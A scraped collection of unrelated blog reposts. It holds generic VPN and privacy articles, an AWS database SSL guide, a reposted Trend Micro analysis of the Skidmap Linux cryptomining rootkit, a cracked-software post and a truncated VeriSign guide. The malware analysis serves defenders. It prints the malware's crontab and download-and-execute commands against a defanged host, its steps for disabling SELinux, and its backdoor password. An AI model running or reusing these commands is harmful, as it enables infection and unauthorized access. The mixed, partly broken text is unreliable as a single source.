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howtochecktoseeifmyvpnisworking · 1 year ago

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does a vpn hide your info from isp

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VPN encryption

VPN Encryption: Safeguarding Your Online Privacy

Virtual Private Networks (VPNs) have become an essential tool for individuals and businesses alike to ensure their online activities remain private and secure. At the core of every VPN service lies encryption, a robust method of encoding data to prevent unauthorized access. Understanding VPN encryption is crucial for anyone concerned about safeguarding their sensitive information online.

Encryption in VPNs works by scrambling data before it leaves your device, making it unreadable to anyone without the proper decryption key. This process creates a secure "tunnel" through which your data travels, shielding it from prying eyes, such as hackers, government surveillance, or internet service providers.

There are several encryption protocols commonly used in VPN services, including:

AES (Advanced Encryption Standard): Widely regarded as one of the most secure encryption algorithms available, AES encrypts data with keys of varying lengths (128, 192, or 256 bits). It's highly efficient and resistant to brute-force attacks.

OpenVPN: This open-source protocol combines SSL/TLS encryption for secure key exchange with the OpenSSL library for data encryption. It's known for its reliability and flexibility across different platforms.

IPSec (Internet Protocol Security): Often used in conjunction with other protocols, IPSec provides strong encryption and authentication for IP packets, ensuring data integrity and confidentiality.

L2TP/IPSec (Layer 2 Tunneling Protocol/Internet Protocol Security): This protocol combination offers robust security features, with L2TP providing the tunneling mechanism and IPSec handling encryption and authentication.

When choosing a VPN provider, it's essential to opt for one that utilizes strong encryption protocols and follows best practices for data security. Look for features like AES-256 encryption, a strict no-logs policy, and a transparent privacy policy to ensure your online privacy remains intact.

In an era where online privacy is increasingly under threat, VPN encryption provides a vital layer of defense against surveillance, data breaches, and cyberattacks. By understanding how encryption works in VPNs, users can take control of their digital privacy and browse the internet with confidence.

ISP privacy

Title: Safeguarding Your Online Privacy: Understanding ISP Privacy and How to Protect Yourself

In an era where online privacy is increasingly under threat, understanding the role of your Internet Service Provider (ISP) in safeguarding your data is crucial. Your ISP plays a pivotal role in connecting you to the internet, but it also has access to a wealth of information about your online activities. From the websites you visit to the content you download, your ISP has the capability to track and monitor your online behavior.

One of the primary concerns regarding ISP privacy is the potential for data collection and monitoring without your explicit consent. ISPs have the ability to gather information such as your browsing history, search queries, and even the content of your communications. This data can be used for various purposes, including targeted advertising, profiling, and even surveillance by government agencies.

To protect your online privacy from the prying eyes of your ISP, there are several steps you can take. Firstly, consider using a virtual private network (VPN) to encrypt your internet connection and hide your online activities from your ISP. VPNs create a secure tunnel between your device and the internet, making it difficult for ISPs to monitor your traffic.

Additionally, you can use encrypted communication services, such as encrypted email providers and messaging apps, to ensure that your conversations remain private. By encrypting your data before it leaves your device, you can prevent your ISP from eavesdropping on your communications.

Furthermore, regularly reviewing and adjusting your privacy settings on your devices and online accounts can help minimize the amount of data that your ISP has access to. This includes disabling features such as location tracking and targeted advertising, as well as opting out of data collection whenever possible.

In conclusion, while ISPs play a crucial role in providing internet access, it's important to be aware of the potential privacy risks associated with their services. By taking proactive steps to protect your online privacy, you can ensure that your personal data remains secure in an increasingly digital world.

Data concealment technology

Data concealment technology, also known as data obfuscation or data masking, is a critical component in safeguarding sensitive information from unauthorized access or disclosure. It involves the deliberate manipulation or alteration of data to make it unintelligible to anyone without proper authorization. This technology plays a crucial role in various industries, including finance, healthcare, and cybersecurity.

One common method of data concealment is encryption, where data is transformed into a ciphertext using algorithms and keys, rendering it unreadable without the corresponding decryption key. This ensures that even if unauthorized individuals gain access to the data, they cannot decipher its contents without the proper credentials.

Another technique is data masking, which involves replacing sensitive information with fictional or scrambled data while preserving the data's format and structure. This allows organizations to use realistic data for testing or analysis purposes without exposing sensitive information to unauthorized users.

Data concealment technology also encompasses methods such as tokenization, where sensitive data is replaced with unique tokens that have no intrinsic value, and data shuffling, which rearranges the order of data records to obscure their original meaning.

Implementing data concealment technology is crucial for compliance with data protection regulations such as the General Data Protection Regulation (GDPR) and the Health Insurance Portability and Accountability Act (HIPAA). By concealing sensitive information, organizations can reduce the risk of data breaches and mitigate the potential impact of unauthorized access.

In conclusion, data concealment technology is an essential tool for protecting sensitive information from unauthorized access or disclosure. By employing encryption, data masking, tokenization, and other techniques, organizations can safeguard their data and ensure compliance with data protection regulations.

Internet service provider tracking

Internet service provider (ISP) tracking refers to the practice of ISPs monitoring and recording the online activities of their users. This surveillance encompasses a wide range of data, including websites visited, files downloaded, emails sent and received, and much more. While ISPs claim that tracking is primarily for network management and security purposes, it raises significant concerns regarding user privacy and data protection.

One of the primary reasons ISPs track user activity is to manage network traffic and ensure efficient operation. By monitoring the types and volumes of data being transmitted, ISPs can identify potential congestion points and allocate resources accordingly. Additionally, tracking allows ISPs to detect and mitigate security threats such as malware, phishing attempts, and denial-of-service attacks, safeguarding both their network and their subscribers.

However, the extent of ISP tracking raises serious privacy implications. Users may not be aware of the detailed level of monitoring conducted by their ISPs or the types of data collected. This lack of transparency leaves individuals vulnerable to potential abuses of their personal information, including targeted advertising, data breaches, and government surveillance.

Furthermore, ISP tracking can enable the creation of detailed profiles of users' online behavior, which can be exploited for various purposes, including market research and user profiling. This data may also be shared with third parties without users' consent, further compromising their privacy rights.

To protect against ISP tracking, users can employ various strategies, such as using virtual private networks (VPNs) to encrypt their internet traffic and obscure their online activities from their ISPs. Additionally, advocating for stronger regulations and oversight regarding ISP tracking practices can help ensure greater transparency and accountability in how ISPs handle user data.

In conclusion, while ISP tracking serves legitimate purposes such as network management and security, it also poses significant risks to user privacy and data protection. As such, it is essential for users to be informed about ISP tracking practices and take proactive measures to safeguard their online privacy.

Virtual Private Network security

A Virtual Private Network (VPN) is a powerful tool that enhances your online security and privacy by creating a secure connection between your device and the internet. VPN security is crucial in today's digital age, where cyber threats and data breaches are rampant.

One of the key aspects of VPN security is encryption. When you connect to a VPN server, all your internet traffic is encrypted, making it unreadable to hackers, government agencies, or any other prying eyes. This means that even if your data is intercepted, it will be indecipherable without the encryption key.

Moreover, VPNs offer an added layer of security by masking your IP address. Your real IP address is replaced with the VPN server's IP address, making it difficult for websites and online services to track your online activities. This anonymity not only protects your privacy but also helps prevent targeted ads and online tracking.

In addition to encryption and IP masking, reputable VPN services often come with other security features such as a kill switch, which shuts down your internet connection if the VPN connection drops, preventing data leaks. Some VPN providers also offer malware and ad-blocking features to further enhance your online security.

When choosing a VPN service, it is essential to opt for a reputable provider that offers robust security protocols, a strict no-logs policy, and a wide range of server locations. By investing in a high-quality VPN service, you can browse the internet with peace of mind, knowing that your online activities are secure and private.

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howtouseavpnonaniphone · 1 year ago

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does vpn conceal mobile data

🔒🌍✨ Get 3 Months FREE VPN - Secure & Private Internet Access Worldwide! Click Here ✨🌍🔒

does vpn conceal mobile data

VPN encryption technology

Title: Understanding VPN Encryption Technology: Safeguarding Your Online Privacy

In today's digital age, where online privacy is of paramount concern, Virtual Private Network (VPN) encryption technology serves as a crucial safeguard for internet users. VPN encryption technology works by creating a secure and encrypted connection between your device and the VPN server, effectively shielding your online activities from prying eyes.

At its core, VPN encryption involves encoding data transmitted between your device and the VPN server, making it unreadable to anyone attempting to intercept it. This encryption process utilizes advanced algorithms and protocols, such as AES (Advanced Encryption Standard) and OpenVPN, to ensure the highest level of security.

AES, in particular, is widely regarded as one of the most secure encryption standards available today. It employs symmetric encryption, where both the sender and receiver share a single key to encrypt and decrypt data. With AES encryption, data is scrambled into incomprehensible ciphertext, thwarting any attempts at unauthorized access.

OpenVPN, on the other hand, is an open-source VPN protocol known for its flexibility and strong security features. It utilizes OpenSSL library and SSL/TLS protocols to establish a secure connection, making it resistant to various cyber threats like man-in-the-middle attacks.

Furthermore, VPN encryption technology offers different levels of encryption strength, ranging from 128-bit to 256-bit. While 128-bit encryption provides a good balance between security and performance, 256-bit encryption offers an extra layer of protection, albeit with slightly higher computational overhead.

In summary, VPN encryption technology plays a vital role in safeguarding your online privacy and security. By encrypting your internet traffic, VPNs ensure that your sensitive information remains confidential and inaccessible to unauthorized entities. Whether you're browsing the web, accessing public Wi-Fi networks, or engaging in online banking, investing in a reputable VPN service with robust encryption capabilities is essential for maintaining your digital privacy in today's interconnected world.

Mobile data privacy

Mobile data privacy is a critical issue that concerns every smartphone user in the digital age. With the increasing reliance on mobile devices for communication, browsing, and shopping, the need to safeguard our personal information has never been more crucial.

One of the primary concerns regarding mobile data privacy is the collection and misuse of personal data by mobile apps. Many apps request permission to access sensitive data such as location, contacts, and photos, raising concerns about how this information is being used and shared. Users must be cautious when granting permissions to apps and should regularly review and manage app permissions to protect their privacy.

Another aspect of mobile data privacy is the threat of data breaches and hacking incidents. As smartphones store a treasure trove of personal information, including login credentials, payment details, and personal conversations, they have become prime targets for cybercriminals. It is essential for users to secure their devices with strong passwords, biometric authentication, and encryption to prevent unauthorized access to their data.

Moreover, mobile users should be aware of the risks associated with public Wi-Fi networks, which are often insecure and susceptible to interception by hackers. Avoiding sensitive transactions and refraining from accessing confidential information on public Wi-Fi can help mitigate the risk of data theft.

In conclusion, maintaining mobile data privacy requires a proactive approach from users to stay informed, cautious, and vigilant about safeguarding their personal information. By being mindful of app permissions, securing devices, and exercising caution on public networks, smartphone users can minimize the risk of data breaches and protect their privacy in an increasingly connected world.

Network traffic concealment

Network traffic concealment refers to the practice of hiding or disguising the patterns and content of data being transmitted over a network. This technique is often employed to evade detection or monitoring by unauthorized parties, such as hackers, government agencies, or network administrators.

There are various methods used for concealing network traffic, each with its own advantages and limitations. One common approach is encryption, where data is encoded in such a way that only authorized parties can decipher it. This prevents eavesdroppers from understanding the information being transmitted, effectively concealing the content of the traffic.

Another method is steganography, which involves embedding data within other seemingly innocuous files or communications. For example, a message could be hidden within an image file, making it appear as though the transmission is simply a harmless picture. This makes it difficult for outside observers to detect the presence of sensitive information within the network traffic.

Furthermore, traffic obfuscation techniques can be employed to intentionally add noise or randomization to network communications, making it harder for adversaries to analyze and interpret the data. This can include tactics such as using randomized packet sizes, altering transmission timing, or employing covert channels within legitimate protocols.

However, while network traffic concealment can be an effective means of protecting sensitive information and preserving privacy, it can also be used for malicious purposes, such as carrying out cyber attacks or facilitating illicit activities. As such, it is essential for organizations to implement robust security measures and monitoring tools to detect and mitigate any attempts to conceal network traffic that may pose a threat to their systems and data.

Virtual private network security

A Virtual Private Network (VPN) is a powerful tool that helps safeguard your online privacy and enhance your security while surfing the internet. VPN security is a crucial aspect that ensures your data remains confidential and protected from potential threats.

One of the main security features of a VPN is encryption, which scrambles your data so that only authorized parties can access it. This encryption creates a secure tunnel for your information to pass through, shielding it from cybercriminals, hackers, and other prying eyes. By using a VPN, your online activities, such as browsing history, personal information, and login credentials, are shielded from external parties.

Additionally, a VPN masks your IP address, replacing it with one from the VPN server location you choose. This feature adds a layer of anonymity to your online presence, making it difficult for websites and advertisers to track your movements and target you with invasive ads. Moreover, by disguising your real IP address, a VPN protects you from potential cyber attacks and surveillance activities.

Furthermore, VPNs offer secure remote access to corporate networks for employees working from home or on the go. By establishing a VPN connection, remote workers can access sensitive company resources and data securely, minimizing the risk of unauthorized access or data breaches.

In conclusion, VPN security plays a critical role in safeguarding your online presence, protecting your sensitive information, and ensuring a secure browsing experience. By utilizing a VPN, you can surf the internet with peace of mind, knowing that your data is shielded from cyber threats and your privacy is upheld.

Data encryption on mobile devices

Data encryption on mobile devices is a crucial aspect of ensuring the security and privacy of sensitive information in today's digital age. With the increasing reliance on smartphones and tablets for storing personal and business data, the need for robust encryption measures has never been greater.

Encryption is the process of encoding data in such a way that only authorized parties can access it. When it comes to mobile devices, data encryption involves scrambling the information stored on the device using complex algorithms. This encrypted data can only be deciphered with the use of a specific key or password, making it virtually impossible for unauthorized users to read or exploit the information.

One of the key benefits of data encryption on mobile devices is the protection it provides in case the device is lost or stolen. Even if a malicious actor gains physical access to the device, they would not be able to access the encrypted data without the correct key. This adds an extra layer of security and helps prevent sensitive information from falling into the wrong hands.

Furthermore, data encryption on mobile devices also plays a vital role in safeguarding data during transmission. When data is sent or received over a network, encryption ensures that it remains secure and protected from interception by cybercriminals.

In conclusion, implementing data encryption on mobile devices is essential for maintaining the confidentiality and integrity of data. By utilizing encryption technologies, users can mitigate the risks associated with data breaches and unauthorized access, ultimately helping to safeguard their privacy and sensitive information in an increasingly connected world.

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iofox314 · 4 years ago

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Direct Mail Mailing List

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globalmediacampaign · 5 years ago

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Configuring SSL encryption on Oracle and PostgreSQL endpoints in AWS DMS

AWS Database Migration Service (DMS) helps you migrate databases to AWS securely. It supports homogeneous and heterogeneous migrations between different database platforms, such as Oracle to Amazon Aurora. AWS DMS supports continuous data replication while maintaining high availability and has been widely adopted for database migrations because it is easy to configure. For more information, see What Is AWS Database Migration Service? This post demonstrates how to encrypt source (Oracle) and target (Aurora) endpoints to use SSL, and implement data in transit encryption. To simulate the customer environments, the post covers steps to configure SSL on Oracle on an Amazon EC2 instance, Oracle on Amazon Relational Database Service (RDS) as the source database, and Amazon Aurora with PostgreSQL as the target. Solution overview The solution contains the following steps: Configure SSL on the source Oracle instance. This includes the following steps: a. Configure SSL on the Oracle RDS instance. b. Configure SSL on the Oracle EC2 instance. Configure the source Oracle database endpoint with SSL on the AWS DMS console. Configure the target PostgreSQL Aurora database endpoint with SSL in AWS DMS. Configure data replication. Validate the data. This post uses an Oracle database running on an EC2 instance and an Oracle RDS instance. Additionally, the target PostgreSQL instance is already created and has schemas and its objects’ structure created. You can use AWS SCT to convert your existing source database schema from one database engine to another. For more information, see What Is the AWS Schema Conversion Tool? Other useful documentation pages are Creating an Amazon Aurora DB Cluster and Security in AWS Database Migration Service. Configuring SSL on the Amazon RDS for Oracle instance Amazon RDS for Oracle supports SSL. SSL configuration is done using an option group, which you can share with multiple databases. You can configure an Amazon RDS for Oracle instance to use the SSL option and create a client wallet that contains its signing certificate. Local clients use the wallet to connect to the TCPS listener. The wallet is also uploaded to AWS DMS to allow it to connect to the instance. If you are using a source Oracle instance running on premises or on Amazon EC2, skip this step. Creating an option group to support SSL To create an option group to support SSL, complete the following steps: On the Amazon RDS console, under Option groups, choose Create group. For Name, enter the name of your option group. For this post, we enter OracleRDSSSLOptionGrp. For Description, enter a description of your group. For Engine, choose oracle-ee. For Major engine version, choose 1. Choose Create. The following screenshot demonstrates steps 1–6. On the Option groups page, choose the newly created option group (OracleRDSSSLOptionGrp). Choose Add option as shown in the following screenshot preview. Under Option details, for Option, choose SSL. For Port, choose 2484. For Security Groups, choose default. Leave Option settings at default. Option settings displays the current SSL parameter value. Choose Add option. The following screenshot demonstrates steps 9–13. Modifying the Oracle RDS instance to use the SSL option group To modify the Oracle RDS instance, complete the following steps: On the Amazon RDS console, choose Database. Choose your desired database. Choose Modify. Under Database options, for Option group, choose your new option group. The following screenshot demonstrates steps 1–4. Scroll down to the bottom of the page and Choose Continue as shown in the screenshot preview below. To review the changes, complete the following steps: For Scheduling of modifications, select Apply immediately. Choose Modify DB Instance as shown in the screenshot below. Creating a wallet You can create a wallet that contains the Certificate Authority (CA) certificate used to sign RDS SSL certificates by using an Oracle client on any Linux machine. You upload this wallet to AWS DMS. Complete the following steps: Set the ORACLE_HOME system variables and create the wallet folder by entering the following code: export ORACLE_HOME=/home/user/app/user/product/12.1.0/dbhome_1 export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$ORACLE_HOME/lib mkdir $ORACLE_HOME/ssl_wallet Download rds-ca-2019-root.pem RDS CA certificate. To create the Oracle wallet, enter the following commands: orapki wallet create -wallet $ORACLE_HOME/ssl_wallet -auto_login_only orapki wallet add -wallet $ORACLE_HOME/ssl_wallet -trusted_cert –cert $ORACLE_HOME/ssl_wallet/ca-cert.pem -auto_login_only Configuring SSL on the Oracle EC2 instance Configure the self-signed certificate for the Oracle EC2 instance and create a client wallet that contains its signing certificate. Local clients use the wallet to connect to the TCPS listener, and the wallet is uploaded to AWS DMS to allow it to connect to the instance. If you are using an Amazon RDS for Oracle instance, skip this step. Creating a wallet using a self-signed certificate for Oracle SSL on an EC2 Oracle instance To create this wallet, complete the following steps: Log in to your Linux or UNIX machine as an Oracle user with your environment set for the correct database and ORACLE_HOME. Create a directory and root key for the self-signed certificate with the following code: mkdir -p /u01/app/oracle/self_signed_cert cd /u01/app/oracle/self_signed_cert openssl genrsa -out self-rootCA.key 2048 openssl req -x509 -new -nodes -key self-rootCA.key -sha256 -days 3650 -out self-rootCA.pem Input parameters Country Name (2 letter code) [XX]:US State or Province Name (full name) []:Virginia Locality Name (eg, city) [Default City]:Reston Organization Name (eg, company) [Default Company Ltd]:AmazonWebService Organizational Unit Name (eg, section) []:ProServe Common Name (eg, your name or your server's hostname) []:aws Email Address []: Create an Oracle wallet directory and wallet with the following code: mkdir -p /u01/app/oracle/wallet orapki wallet create -wallet "/u01/app/oracle/wallet" -pwd oracle123 -auto_login_local Add the root certificate in the wallet with the following code: orapki wallet add -wallet "/u01/app/oracle/wallet" -pwd oracle123 -trusted_cert -cert /u01/app/oracle/self_signed_cert/self-rootCA.pem Verify that the certificate is added successfully. See the following code: orapki wallet display -wallet /u01/app/oracle/wallet -pwd oracle123 Oracle PKI Tool : Version 12.2.0.1.0 Copyright (c) 2004, 2016, Oracle and/or its affiliates. All rights reserved. Requested Certificates: Trusted Certificates: Subject: CN=aws,OU=ProServe,O=AmazonWebService,L=Reston,ST=Virginia,C=US Generate the Certificate Signing Request (CSR) with the following code: orapki wallet add -wallet "/u01/app/oracle/wallet" -pwd oracle123 -dn "CN=aws" -keysize 2048 -sign_alg sha256 openssl pkcs12 -in /u01/app/oracle/wallet/ewallet.p12 -nodes -out /u01/app/oracle/wallet/nonoracle_wallet.pem Put “dms” as the common name with the following code: openssl req -new -key /u01/app/oracle/wallet/nonoracle_wallet.pem -out certdms.csr Get the encryption signature with the following code: openssl req -noout -text -in certdms.csr | grep -i signature The signature key for this post is sha256WithRSAEncryption. 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For User name, enter the Aurora PostgreSQL user. For Password, enter the user password. The following screenshot demonstrates steps 3–12. Choose Create endpoint. On the Endpoints page, choose the target endpoint. Choose Test connection as shown below. Choose Run test as shown below. Configuring data replication To configure data replication, complete the following steps: Log in to the source Oracle database and gather the table row count before enabling replication. See the following command: [[select count(*) from repltest;] The following screenshot provides a preview of the output. Log in to the target Aurora PostgreSQL database and ensure that the table is empty. See the following command: [[select count(*) from replssltest.repltest;]] The following screenshot provides a preview of the output. On the AWS DMS console, choose Database migration tasks. Choose Create task. Under Modify Task, for Task name, enter repltest. Keep all other values at their default. The following screenshot demonstrates steps 5 and 6. Your next step is to create the selection rules and transformation rules. In the JSON editor, enter the following example code (replace REPLSSLTEST with your schema name): { "rules": [ { "rule-type": "transformation", "rule-id": "1", "rule-name": "1", "rule-target": "column", "object-locator": { "schema-name": "REPLSSLTEST", "table-name": "%", "column-name": "%" }, "rule-action": "convert-lowercase", "value": null, "old-value": null }, { "rule-type": "transformation", "rule-id": "2", "rule-name": "2", "rule-target": "table", "object-locator": { "schema-name": "REPLSSLTEST", "table-name": "%" }, "rule-action": "convert-lowercase", "value": null, "old-value": null }, { "rule-type": "transformation", "rule-id": "3", "rule-name": "3", "rule-target": "schema", "object-locator": { "schema-name": "REPLSSLTEST", "table-name": "%" }, "rule-action": "convert-lowercase", "value": null, "old-value": null }, { "rule-type": "selection", "rule-id": "4", "rule-name": "4", "object-locator": { "schema-name": "REPLSSLTEST", "table-name": "%" }, "rule-action": "include", "filters": [] } ] } Choose Save. The following screenshot demonstrates steps 7 and 8. Under Table mappings, choose the Guided Review the information and choose Create task as shown in the screenshot below. Ensure that the task has started and is running successfully. The following screenshots show the repltest task status changing from Starting to Running. Checking the source and target database connections Check on the source and target database to ensure that the connections are using SSL. Complete the following steps: Use SQL*PLUS or the SQL developer tool to connect to the Amazon RDS for Oracle source database, and enter the following SQL query: select a.username,a.program,a.logon_time,a.machine,a.status,a.osuser from v$session a,v$session_connect_info b where a.sid=b.sid and a.serial#=b.serial# and b.NETWORK_SERVICE_BANNER is null; The query should list all the connections coming from the AWS DMS replication instance. The following screenshot shows the output. Use the psql tool to connect to the Aurora target instance, and enter the following SQL query: select * from pg_stat_ssl; The query should list all the connections coming from DMS replication instance. The following screenshot shows the output. On the Amazon RDS console, choose Database. Choose your database identifier. Under Configuration, under CloudWatch Logs, choose The listener.log lists the TCPS protocol connections. See the following screenshot. Validating the data To validate that the data is replicated from source to target, complete the following steps: On the AWS DMS console, choose Database migration tasks. Review the AWS DMS task status and ensure that it is completed successfully. The following screenshot shows the task status. Log in to the target Aurora PostgreSQL database. Confirm that all rows were loaded into the target database. The following screenshot shows the output. Conclusion This post showed how to configure SSL encryption for AWS DMS. Configuring SSL encryption secures data in transit when your database’s data is transferred from on premises to Amazon RDS. It also ensures better compliance and alignment with your organization’s security policies and guidelines. Try this approach in your environment, and please feel free to reach out with questions or thoughts in the comments. About the Author Bhavesh Rathod is an Oracle Database Cloud Architect with the Professional Services team at Amazon Web Services. He works as database migration specialist to help Amazon customers to move their on-premises database environment to AWS cloud database solutions. Jeevith Anumalla is an Oracle Database Cloud Architect with the Professional Services team at Amazon Web Services. He works as database migration specialist to help internal and external Amazon customers to move their on-premises database environment to AWS data stores. https://probdm.com/site/MTUzODQ

0 notes

terabitweb · 6 years ago

Text

Original Post from Trend Micro Author: Trend Micro

By Augusto Remillano II and Jakub Urbanec (Threat Analysts)

Cryptocurrency-mining malware is still a prevalent threat, as illustrated by our detections of this threat in the first half of 2019. Cybercriminals, too, increasingly explored new platforms and ways to further cash in on their malware — from mobile devices and Unix and Unix-like systems to servers and cloud environments.

They also constantly hone their malware’s resilience against detection. Some, for instance, bundle their malware with a watchdog component that ensures that the illicit cryptocurrency mining activities persist in the infected machine, while others, affecting Linux-based systems, utilize an LD_PRELOAD-based userland rootkit to make their components undetectable by system monitoring tools.

Skidmap, a Linux malware that we recently stumbled upon, demonstrates the increasing complexity of recent cryptocurrency-mining threats. This malware is notable because of the way it loads malicious kernel modules to keep its cryptocurrency mining operations under the radar.

These kernel-mode rootkits are not only more difficult to detect compared to its user-mode counterparts — attackers can also use them to gain unfettered access to the affected system. A case in point: the way Skidmap can also set up a secret master password that gives it access to any user account in the system. Conversely, given that many of Skidmap’s routines require root access, the attack vector that Skidmap uses — whether through exploits, misconfigurations, or exposure to the internet — are most likely the same ones that provide the attacker root or administrative access to the system.

Figure 1. Skidmap’s infection chain

Skidmap’s infection chain

The malware installs itself via crontab (list of commands that are run on a regular schedule) to its target machine, as shown below:

*/1 * * * * curl -fsSL hxxp://pm[.]ipfswallet[.]tk/pm.sh | sh

The installation script pm.sh then downloads the main binary “pc” (detected by Trend Micro as Trojan.Linux.SKIDMAP.UWEJX):

if [ -x "/usr/bin/wget" -o -x "/bin/wget" ]; then wget -c hxxp://pm[.]ipfswallet[.]tk/pc -O /var/lib/pc && chmod +x /var/lib/pc && /var/lib/pc elif [ -x "/usr/bin/curl" -o -x "/bin/curl" ]; then curl -fs hxxp://pm[.]ipfswallet[.]tk/pc -o /var/lib/pc && chmod +x /var/lib/pc && /var/lib/pc elif [ -x "/usr/bin/get" -o -x "/bin/get" ]; then get -c hxxp://pm[.]ipfswallet[.]tk/pc -O /var/lib/pc && chmod +x /var/lib/pc && /var/lib/pc elif [ -x "/usr/bin/cur" -o -x "/bin/cur" ]; then cur -fs hxxp://pm[.]ipfswallet[.]tk/pc -o /var/lib/pc && chmod +x /var/lib/pc && /var/lib/pc else url -fs hxxp://pm[.]ipfswallet[.]tk/pc -o /var/lib/pc && chmod +x /var/lib/pc && /var/lib/pc fi

Upon execution of the “pc” binary, it will decrease the affected machine’s security settings. If the file /usr/sbin/setenforce exists, the malware executes the command, setenforce 0. This command configures the system’s Security-Enhanced Linux (SELinux) module, which provides support in the system’s access control policies, into permissive mode — that is, setting the SELinux policy so that it is not enforced. If the system has the /etc/selinux/config file, it will write these commands into the file: SELINUX=disabled and SELINUXTYPE=targeted commands. The former disables the SELinux policy (or disallows one to be loaded), while the latter sets selected processes to run in confined domains.

Skidmap also sets up a way to gain backdoor access to the machine. It does this by having the binary add the public key of its handlers to the authorized_keys file, which contains keys needed for authentication.

Besides the backdoor access, Skidmap also creates another way for its operators to gain access to the machine. The malware replaces the system’s pam_unix.so file (the module responsible for standard Unix authentication) with its own malicious version (detected as Backdoor.Linux.PAMDOR.A). As shown in Figure 2, this malicious pam_unix.so file accepts a specific password for any users, thus allowing the attackers to log in as any user in the machine.

Figure 2. Code snippets showing how Skidmap gets its backdoor access to the affected system (top) and how it uses a malicious version of the pam_unix.so file to gain access to the machine (bottom; the password that it uses and accepts is Mtm$%889*G*S3%G)

How Skidmap drops the cryptocurrency miner

The “pc” binary checks whether the infected system’s OS is Debian or RHEL/CentOS. Its routine, which involves dropping the cryptocurrency miner and other components, depends on OS. For Debian-based systems, it drops the cryptocurrency miner payload to /tmp/miner2. For CentOS/RHEL systems, it will download a tar (tape archive) file from the URL, hxxp://pm[.]ipfswallet[.]tk/cos7[.]tar[.]gz, containing the cryptocurrency miner and its multiple components, which is unpacked and then installed. Of note is that the content of the tar file is decrypted via OpenSSL with the key “jcx@076” using Triple DES cipher.

Figure 3. How the “pc” binary drops the cryptocurrency miner in Debian- (top) and CentOS/RHEL-based systems (bottom)

Skidmap’s other malicious components

The malware has notable components that are meant to further obfuscate its malicious activities and ensure that they continue to run:

A fake “rm” binary — One of the components contained in the tar file is a fake “rm” binary that will replace the original (rm is normally used as command for deleting files). The malicious routine of this file sets up a malicious cron job that would download and execute a file. This routine won’t always be observed, however, as it would only be performed randomly.

kaudited — A file installed as /usr/bin/kaudited. This binary will drop and install several loadable kernel modules (LKMs) on the infected machine. To ensure that the infected machine won’t crash due to the kernel-mode rootkits, it uses different modules for specific kernel versions. The kaudited binary also drops a watchdog component that will monitor the cryptocurrency miner file and process.

Figure 4. Cron job installed by Skidmap’s “rm” (top) and kaudited (middle) dropping the kernel modules; and code snippet of the dropped watchdog component (bottom)

iproute — This module hooks the system call, getdents (normally used to read the contents of a directory) in order to hide specific files.

Figure 5. Code snippets showing how iproute uses getdents is used to hide certain files (top, center), and how the netlink rootkit fakes network traffic statistics (bottom)

netlink — This rootkit fakes the network traffic statistics (specifically traffic involving certain IP addresses and ports) and CPU-related statistics (hide the “pamdicks” process and CPU load). This would make the CPU load of the infected machine always appear low. This is likely to make it appear as if nothing is amiss to the user (as high CPU usage is a red flag of cryptocurrency-mining malware).

Figure 6. Snapshots of code showing how the pamdicks process is hidden (top), and how it displays that the CPU load is low (bottom)

Best practices and Trend Micro solutions

Skidmap uses fairly advanced methods to ensure that it and its components remain undetected. For instance, its use of LKM rootkits — given their capability to overwrite or modify parts of the kernel — makes it harder to clean compared to other malware. In addition, Skidmap has multiple ways to access affected machines, which allow it to reinfect systems that have been restored or cleaned up.

Cryptocurrency-mining threats don’t just affect a server or workstation’s performance — they could also translate to higher expenses and even disrupt businesses especially if they are used to run mission-critical operations. Given Linux’s use in many enterprise environments, its users, particularly administrators, should always adopt best practices: keep the systems and servers updated and patched (or use virtual patching for legacy systems); beware of unverified, third-party repositories; and enforce the principle of least privilege to prevent suspicious and malicious executables or processes from running.

Trend Micro solutions powered by XGen security, such as ServerProtect for Linux and Trend Micro Network Defense, can detect related malicious files and URLs and protect users’ systems. Trend Micro Smart Protection Suites and Trend Micro Worry-Free Business Security, which have behavior monitoring capabilities, can additionally protect from these types of threats by detecting malicious files, thwarting behaviors and routines associated with malicious activities, as well as blocking all related malicious URLs.

Indicators of Compromise (IoCs):

File Name SHA-256 Trend Micro Detection crypto514 c07fe8abf4f8ba83fb95d44730efc601 ba9a7fc340b3bb5b4b2b2741b5e31042 Rootkit.Linux.SKIDMAP.A iproute514 3ae9b7ca11f6292ef38bd0198d7e7d0b bb14edb509fdeee34167c5194fa63462 Rootkit.Linux.SKIDMAP.A kaudited e6eb4093f7d958a56a5cd9252a4b529 efba147c0e089567f95838067790789ee Trojan.Linux.SKIDMAP.UWEJY kswaped 240ad49b6fe4f47e7bbd54530772e5d2 6a695ebae154e1d8771983d9dce0e452 Backdoor.Linux.SKIDMAP.A netlink514 945d6bd233a4e5e9bfb2d17ddace46f2 b223555f60f230be668ee8f20ba8c33c Rootkit.Linux.SKIDMAP.A systemd_network 913208a1a4843a5341231771b66bb400 390bd7a96a5ce3af95ce0b80d4ed879e Trojan.Linux.SKIDMAP.A

Additional insights and analysis by Wilbert Luy

The post Skidmap Linux Malware Uses Rootkit Capabilities to Hide Cryptocurrency-Mining Payload appeared first on .

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Go to Source Author: Trend Micro Skidmap Linux Malware Uses Rootkit Capabilities to Hide Cryptocurrency-Mining Payload Original Post from Trend Micro Author: Trend Micro By Augusto Remillano II and Jakub Urbanec (Threat Analysts) …

#Trend Micro

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oliviamarksfan · 7 years ago

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The post mIRC 8.72 Crack + Latest Registration Code Full Version Free appeared first on Cracked Point.

from Cracked Point https://ift.tt/2NxuNRA via IFTTT

#IFTTT #Cracked Point

0 notes

spitech · 7 years ago

Text

How to register SSL Certificate with VeriSign

Posted under Get Online on September 15, 2008

An SSL certificate contains the following information: * The domain name for which the certificate was issued. * The owner of the certificate and the domain name. * The physical location of the owner. * The validity dates of the certificate. When you connect to a secure web server such as https://softwareprojects.com, the server authenticates itself to the web browser by presenting a digital certificate. The certificate is proof that an independent trusted third party has verified that the website belongs to the company it claims to belong to. A valid certificate gives customers confidence that they are sending personal information securely, and to the right place. When you install the SSL certificate on your website, visitors to your website will see a yellow lock icon, identifying the pages are secure. It's another way to build trust, especially when asking users to input sensitive information such as credit card information, SSN, home address etc. SSL Certificates are widely used on payment forms. We found they help with basic landing pages as well, significantly increasing conversion rates. As part of this guide, I will provide you with step-by-step instructions for registering your SSL certificate with VeriSign. Why VeriSign? Yes - there are cheaper SSL providers out there, but many are not recognized by older browser versions. This means that the $200 you save, will result in a percentage of your users getting welcomed by a scary dialog saying your SSL certificate cannot be verified. Step 1 - Register a domain This is a no brainer. Step 2 - Verify Whois information and make it public Your domain whois information must match the company name and address you'd like to list on the SSL certificate. Update your whois information if you need to (login to your SoftwareProjects account and click on the domain, or use your existing registrar interface) and make 